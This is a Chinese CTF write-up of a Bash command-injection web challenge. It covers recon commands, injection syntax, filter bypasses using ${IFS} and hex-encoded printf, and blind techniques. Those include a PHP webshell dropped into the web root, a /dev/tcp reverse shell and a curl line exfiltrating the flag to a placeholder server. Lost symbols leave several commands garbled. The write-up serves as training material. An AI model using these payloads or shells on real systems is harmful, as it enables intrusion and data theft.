
放假在家刷安鸾渗透测试平台的CTF系列正好撞上一道bash题。说真的很多人觉得CTF里的Bash题目不过就是“命令行操作”但真正刷下来才发现这类题考的是你对Shell理解得有多深——变量展开、通配符、内建命令、管道、反弹Shell、脏输入投递……每一样都能挖出花来。这道题是典型的Web场景打开靶机只看到一个输入框后端收到输入后直接拼进bash命令执行目标是构造Payload读取服务器上的flag文件。对于刚接触CTF、想搞懂命令执行漏洞和Bash用法的同学来说这是非常有代表性的练习既能练习命令行基本功又能顺带整理一套从探测、绕过到回显拿flag的完整流程。这篇文章我就用这道题当主线把原理、操作、踩坑揉在一起复盘一遍。1. 题目初探与环境准备1.1 题目场景与考察目标安鸾平台上的这道题入口类似于一个在线执行环境页面上有一个输入框下方会出现命令执行的输出。给到的提示非常抽象只说“使用Bash取得flag”没有告诉我们flag文件的路径、文件名甚至没说当前什么权限。这种设计不是刁难而是刻意还原真实场景。在真实的渗透测试里你找到一处命令执行点之后第一件事绝对不是猜flag而是做信息收集我是什么权限、当前目录有什么、系统里有哪些用户、能不能获取敏感文件。CTF题只是把“拿到flag”当成终点但过程与实战完全一致。所以这道题真正考察的东西有三块第一是否理解Bash命令的基本组合方式第二是否掌握常见的探测命令第三遇到过滤或者回显异常时是否能灵活绕过。这三块能力层层递进缺一不可。1.2 环境确认先解决“能不能跑”的问题我在刷题时见过太多人卡在环境上而不是题目本身上。比如页面输入ls没有反应第一反应是“题目坏了”但其实可能是浏览器编码问题又比如CTF题需要本地用Git Bash配合结果Windows下Git Bash的环境变量、路径转换跟我们熟悉的Linux终端有差异容易产生一些莫名其妙的报错。进入这道题之前建议先做一个基础动作输入id或者ls -la看页面是否正常回显。如果回显正常说明交互没问题如果页面空白再检查是不是Payload里的特殊字符被后端转义了而不是继续盲目尝试。我实际用的环境是Kali Linux里自带的终端配合Burp Suite抓包确认每一次请求的原始形态。当然Windows用户用Git Bash也完全能完成大部分操作只是要注意两点一是Git Bash对以斜杠开头的路径会做Windows路径转换可以用双斜杠或加环境变量规避二是复制Payload时容易把换行符带进命令导致后端拿到一个残缺的输入。这些都是小问题知道了就能避开。1.3 信息收集三板斧拿到命令执行后先别急着找flag。我的习惯是按照“我是谁、我在哪、有什么”的顺序来依次执行id pwd ls -laid确认当前用户身份pwd确认工作目录ls -la看到当前目录完整文件列表。无论后端是用system()还是shell_exec()执行命令这三条是最稳的“开胃菜”。执行完往往会有惊喜。这道题里当前目录下有一个类似flag.txt的文件但权限是-r--------只有特定用户才能读。这时候就引出了第二种情况flag文件存在但当前用户读不了。于是题目的考点从“找flag”变成了“找提权路径”常见思路包括查看/etc/passwd里有没有可疑用户、有没有SUID权限文件、有没有定时任务可以借力。在信息收集阶段我还会顺带执行find / -name *flag* 2/dev/null之类命令把所有可能的flag位置一次性拉出来。这里的2/dev/null很重要它把无权限访问目录的报错过滤掉让输出干净很多。如果题目环境里没有find少数极简容器会这样才改用ls -R等命令兜底。2. 命令执行原理为什么Bash会成为突破口2.1 从开发者视角看漏洞成因这类题目的漏洞根源基本都是开发者希望执行一条命令但把用户的输入直接拼进了命令里。用PHP举个例子最常见的有这么几种写法system(ping -c 1 . $_GET[ip]); shell_exec(cat . $_POST[file]); passthru(bash . $cmd);开发者本意是让用户传一个IP系统帮忙ping一下。但因为没有做过滤用户传一个127.0.0.1; cat /etc/passwd系统就会先ping再执行分号后面的内容。分号、管道、逻辑或、命令替换、反引号……Shell最强大的组合能力成了攻击者手里的武器。这也是我特别喜欢Bash题的原因它不像内核漏洞那样需要极高深的底层知识但你必须理解Shell是怎么解析命令的——什么时候起一个新命令什么时候嵌入变量什么时候启用子进程。把这个机制吃透才能在payload构造上游刃有余。2.2 “输入拼接”的本质与解析顺序Bash解析一条命令时会经历多个阶段先处理花括号和变量展开其次处理命令替换和路径名展开最后才真正执行命令。这个顺序直接影响我们构造Payload的方式。举个例子如果你在输入框里提交cat /etc/passwd后端实际执行的是system(bash -c . cat /etc/passwd)看起来合情合理。但如果开发者用了引号包裹用户输入呢比如system(echo \ . $input . \);那么你输入cat /etc/passwd后实际执行的是echo cat /etc/passwd——引号把命令“包住”了Bash不再把它当作新命令而是当作字符串。这时候就需要先设法闭合引号比如输入; cat /etc/passwd; 经过拼接后变成echo ; cat /etc/passwd; ——先闭合了前面的引号和分号中间插入新命令再用分号和引号收尾。理解了“拼接点的位置决定Payload形状”这一点面对不同写法的后端你都能自己推出该构造什么输入。2.3 Bash在CTF里的“瑞士军刀”地位为什么这类题不叫“Python题目”也不叫“PHP题目”偏偏叫Bash题目因为Bash是几乎所有Linux环境默认存在的解析器不依赖于某个特定语言环境。后端不管用的是PHP、Python还是Node最终大概率还是调用系统Shell来执行命令。只要命令执行点存在Bash就是最直接的落地语言。Bash的内建功能也非常适合题目设计变量赋值、条件判断、循环、文件读取、网络连接甚至可以用/dev/tcp直接建立TCP连接而不依赖nc或curl。这意味着即使题目环境精简到没有任何额外工具只要Bash存在攻击面依然是完整的。这也是为什么在CTF里Bash题往往能和“极简容器”“沙箱绕过”结合变成一道难度递增的综合题。3. 三种实测解题路径与关键构造3.1 直接利用管道与命令替换拿flag最朴素的解法就是利用命令分隔符。在提交内容里塞一个分号或管道符让后端先执行我们自己的命令。以下是我在这道题里反复验证可用的组合ls, cat flag*, $(cat flag*), cat flag*第一个方法ls是为了测试引号闭合状态如果页面解析正确说明我们输入的内容被直接拼在某个命令之后此时直接加分号就能执行新命令。第二个方法用cat flag*读取文件。第三和第四种方法属于命令替换Bash会先执行cat flag*把结果作为外层命令的一部分输出。如果遇到极端情况比如当前用户无法直接读取flag文件我会再试这几条od -c flag.txt strings flag.txt tac flag.txtod -c可以看到文件的原始字节流即使文件里包含不可见字符也能显示出来strings则擅长在二进制或压缩文件中提取可读字符串tac是cat的反向读取有时候题目会把答案藏在文件末端用cat会因为文件没有末尾换行而显示不完整用tac就有奇效。实际使用中我发现平台对分号和$()的解析都支持得很稳定最顺滑的Payload是$(cat flag*)因为命令替换的结果会直接出现在页面上即使后端把我们输入的内容整个嵌入到一段模糊的回显文本里flag也能被提取出来。3.2 配合系统命令做二次加工有时候flag不是明文躺在文件里而是藏在压缩包、图片或环境变量中。网上搜“CTF bash题”能看到大量这类变体flag被gzip压缩了、flag在隐藏文件里、flag作为环境变量传给了某个进程。这种情况下单靠cat就不够需要灵活调用系统命令组合。我最常用的一条组合命令是env; set; printenv这三个命令会把当前用户的所有环境变量和历史变量打出来。有时候flag就藏在环境变量里比如FLAGctf{...}你还在辛辛苦苦找文件结果答案就在眼前。这类细节很值得记住因为在真实的红队演练里环境变量里存数据库密码、API密钥的情况比比皆是。如果flag在压缩包中常见的做法是file * tar -tzf flag.tar.gz zipinfo flag.zip先用file *确定当前目录下所有文件的类型再根据类型选择解压方式。很多人在这一步报错大多数是因为环境里没装unzip或者tar版本不兼容后面我单独写一节专门的排错记录。3.3 用循环与批量探测提升效率大部分CTF里题目会给你一个相对友好的环境但如果不友好呢比如文件名字是随机生成的、目录层级很深、页面每次刷新还会变。这种情况下逐条手打命令效率太低需要借助Bash的循环能力。如果后端允许提交多行命令有些平台用\n分隔我可以这么写for f in *; do echo $f; cat $f; done这个循环会把当前目录下所有文件内容都打印出来前面加上文件名方便定位哪个文件里有flag。同样的思路还可以用来批量探测路径for p in $(cat /tmp/paths.txt); do ls -la $p; done不过要注意很多Web命令执行点是单行输入不支持换行。这时候可以改用;分隔符把所有语句写在一行里或者用{ ... ; }把多句话压缩在一起。比如for f in *; do echo $f; cat $f; done本身就是单行可以直接提交。我实测下来这种循环在安鸾平台上能正常工作输出完全可控。如果题目环境限制了单次命令长度比如只允许前50个字符还有一个经典技巧先用tail -c 50 flag取文件的最后50字节或者用head -c 50 flag取前50字节分段读取。当然这个前提是你能猜到文件名。4. 绕过进阶过滤、长度限制与无回显处理4.1 空格与关键字被过滤怎么办很多CTF Bash题不会让你那么舒服地直接命令执行后端往往有一层黑名单。最常见的是过滤空格——你再提交cat flag.txt就废了。这时候要理解一个点Bash里并不是只有空格能分隔参数${IFS}、Tab、甚至重定向符号都可能派上用场。我在这道题的测试中验证过的空格绕过方案cat${IFS}flag.txt cat$IFS$9flag.txt cat/flag.txt${IFS}是Bash内部的字段分隔符变量默认包含空格、Tab和换行。写成cat${IFS}flag.txtShell展开后就是cat flag.txt命令照常执行。$IFS$9写法更隐蔽一些$9是位置参数展开为空两个连起来就起到一个空格的作用而且很多过滤规则想不到去过滤它。最后一种重定向写法cat/flag.txt用输入重定向代替空格也是常见的绕过手段。如果连cat关键字都进了黑名单那就用变量拼接aca;bt; $a$b flag.txt或者用命令替换和内建命令$(printf \x63\x61\x74) flag.txtprintf把十六进制转成字符外层$()让Shell执行它\x63\x61\x74就是cat的十六进制编码。这类技巧看起来花哨但本质上还是在利用Bash“先展开后执行”的解析顺序。4.2 通配符与花括号的奇技淫巧过滤掉关键字时通配符往往能救命。比如过滤了flag这个词但文件真实名字就是flag.txt可以这样绕过cat f* cat *lag* cat */*最后一条cat */*在当前目录下递归读取所有子目录里的文件经常能在不确定文件名的情况下把flag“炸”出来。不过这种命令输出量很大可以配合grep过滤cat */* | grep -E ctf|flag|key花括号也有独特的用法。比如你想快速列举多个文件cat {f,l,a,g}.txt这个会展开成cat f.txt l.txt a.txt g.txt适合批量操作。实际上这道题我没用到花括号读flag但它在我后来刷其它Bash题时帮我解决了“文件名多个字符被过滤”的尴尬顺手记一笔。4.3 无回显条件下怎么确认命令执行成功有的Bash题目做了回显限制页面只显示“执行成功”或“失败”看不到具体输出。这种时候得转变思路不依赖页面回显而是通过延时、连接外网和写文件等方式来间接确认命令是否被执行。我在这道题上没有遇到无回显的情况但提前准备了一套方案。首先试用sleep 5如果页面明显卡了5秒说明命令确实进入了Shell执行只是输出被吞了。接下来就可以考虑把结果写到Web目录下比如echo ?php system(\$_GET[c]);? /var/www/html/s.php ls -la /tmp/result如果知道flag路径也可以直接把flag内容写到一个可访问的位置cp /flag.txt /tmp/flag_copy chmod 644 /tmp/flag_copy后面在浏览器里访问对应路径就能读到结果。不过这种操作比较依赖自己对目标容器目录结构的判断如果在不确定的情况下贸然写入很可能因为权限不足而失败。另外还有一种经典方案是反弹Shell。但这涉及到多个环节的配合详见下一小节。4.4 反弹Shell构造与外带数据当题目给的是一个交互性比较强的环境或者我们需要在目标机器上执行多条命令时直接反弹一个Shell回来是最舒服的。常见的反向Shell命令在Bash里写是这样bash -i /dev/tcp/你的IP/端口 01先在自己的VPS或云主机上监听端口nc -lvnp 4444然后在目标机上执行反弹命令本机就会收到一个交互式Bash会话。这个思路不限于CTF在真实渗透测试里也是高频操作。不过反弹Shell有个前置条件你必须要有一台外部可访问的服务器来接收连接。如果没有公网IP可以用内网环境的另一台机器或者干脆用前面说的写文件法代替不必强求。我帮朋友调试这种题时发现很多人反弹Shell失败的原因不是命令敲错而是目标机器根本没有出网能力或者容器的网络策略禁止主动外联。这种情况下就得换策略把需要的数据以DNS请求的方式带出去或者用curl把flag POST到你的服务器curl http://你的服务器/$(cat /flag.txt)但这样做需要事先准备好服务器端接收接口CTF里能用但不如直接在回显里拿flag方便。所以我的建议是先花10秒钟确认回显策略不要一上来就搞反弹Shell。5. 常见报错与排查速查表5.1 环境类报错命令找不到怎么办刷题时最影响心态的就是各种“command not found”。有次我看到有同学卡在unzip命令上——他想解压一个压缩包结果系统提示-bash: unzip: command not found这往往是因为目标容器为了减小体积只装了最基础的软件包。解法是用别的工具顶替python3 -c import zipfile; zipfile.ZipFile(flag.zip).extractall() bsdtar -xf flag.zip jar xf flag.zip同理crontab命令找不到时可以直接读/etc/crontab文件或/var/spool/cron/下的文件而不是非得用命令去查看。lsusb命令找不到时用cat /proc/bus/usb/devices或者ls /dev/usb/查看设备信息。这些替代思路背后是一个核心原则命令是操作系统的接口文件才是信息本体命令没了就绕道去读文件。5.2 换行符与编码坑Windows下写Payload传到Linux环境里执行经常遇到一个错误/bin/bash^M: bad interpreter: no such file or directory原因是Windows换行符CRLF里的\r被Linux当成了文件名的一部分。比如你写了一个脚本叫solve.sh传到Linux后执行bash solve.shShell去解释器的路径是/bin/bash^M自然找不到。解决方法是先转换换行符dos2unix solve.sh sed -i s/\r$// solve.sh也可以在脚本里用bash -c $(tr -d \r solve.sh)强行去掉回车再执行。这个错误在CTF环境里经常出现尤其当你把本地的工具脚本直接传到在线靶机上时。大家看到^M这种字眼一定要立刻意识到是换行符问题别在那里瞎找原因。5.3 常见指令与替代方案速查表我把刷Bash题时最常碰到的工具缺失和对应替代方案整理成一张表方便大家遇到报错时快速查询场景报错提示替代方案解压zip-bash: unzip: command not foundpython3 -c import zipfile; zipfile.ZipFile(a.zip).extractall()查看定时任务-bash: crontab: command not foundcat /etc/crontab、ls -la /etc/cron.d/、cat /var/spool/cron/查看USB设备-bash: lsusb: command not foundcat /proc/bus/usb/devices、ls -la /dev/usb/Git Bash乱码/路径问题command not found或路径被转换使用//tmp/双斜杠开头或设置MSYS_NO_PATHCONV1脚本换行符报错/bin/bash^M: bad interpretersed -i s/\r$// script.sh没有nc/curl/bin/bash: nc: command not found使用Bash内置/dev/tcp或exec 3/dev/tcp/ip/port找不到可执行文件bash: xxx: No such file or directory用file *检查文件类型确认是否缺少动态库或解释器5.4 排查思路先定位原因再动手我在实际刷题过程中发现一个规律90%的“题目做不出来”都不是因为题目本身难而是因为某个中间环节出了意外。排查顺序上我建议按照“网络是否通 → 命令是否进入Shell → 输出是否回显 → 命令是否被过滤 → 是否有权限读文件”这个链路来。第一步先提交一个无害命令比如echo test看回显是否正常第二步提交sleep 3看页面有没有延时第三步提交id确认命令是否真正执行第四步提交whoami看当前用户身份最后再去碰flag文件。这个顺序能帮你在两三分钟之内精准定位卡的环节而不是毫无章法地各种试试。有一次我刷题一直拿不到flag最后发现是题目里的flag带有随机文件名每次刷新都会变。我需要先执行ls读取当前文件名再把它拼接进Payload。这种动态命名很常见说明信息收集永远要放在构造attack之前一步都不能省。6. 从CTF到实战的延伸与个人心得6.1 这道题让我想明白了什么刷完这道bash题我最大的感触是CTF里的Bash题不是让你背几个命令而是在逼你理解“命令是如何被解释执行的”。当你明白$()、管道、变量展开、通配符这些机制之后遇到过滤规则你自然就知道该从哪里切入遇到不回显你也自然知道该用什么方法把数据弄出来。而且在实战渗透中命令执行漏洞远比CTF题隐藏得更深。可能你拿到的是一个加了引号的参数点可能目标环境是一个没有curl、没有nc、没有wget的极简容器可能全程不能出网。这个时候Bash内建能力和各种绕道技巧就是决定你能不能继续走下去的关键。我在一次授权测试中就遇到过环境里连cat都没装的极端容器最后是靠while read line; do echo $line; done flag.txt这种纯内建命令把文件内容读出来的——这种经验没法从文档里学到只能平时多做题练出来。6.2 如何系统性学习Bash与CTF刷题想提升这类题的能力光靠零散做题不够建议按顺序补三块知识。第一块是Bash基础语法重点是变量、参数展开、引号、通配符和命令替换第二块是Linux文件系统结构和权限体系知道flag可能藏在哪、什么文件能读第三块是常见Web命令执行漏洞的成因至少要能看懂PHP的system、shell_exec、passthru、popen以及Python的os.system、subprocess.call。刷题平台方面安鸾渗透测试平台的CTF系列很适合入门因为它的Web题目环境是动态分配的不会出现大家都挤在同一台机器上互相干扰的情况。做题时我会把成功和失败的Payload都记录下来形成自己的笔记库。这套笔记在后续实战写报告时也很有用因为截图支撑每一个判断省去重复验证的时间。6.3 常见问题的个人经验补充最后补充几个只有自己动手才容易发现的小经验。第一命令执行题目里cat不一定比less、more、head、tail更优先因为有些题目会在cat上设置别名或黑名单但忘记过滤head。第二读二进制文件时不要只看字符串xxd或od能看到更多细节说不定flag就用十六进制藏在里面。第三如果题目返回结果特别长页面可能显示不全这时候可以顺手加一个| tail -n 50只取最后50行省得来回翻。做这类题目最忌讳的就是“一条道走到黑”。多准备几套Payload变体换着思路试往往某个看似奇葩的组合就能直接拿下。我自己刷这道题时用了不到十分钟就拿到flag但那是因为之前踩过无数坑这批坑今天已经全部整理在文章里了。希望大家看完之后能少走一些弯路把时间花在真正需要思考的地方。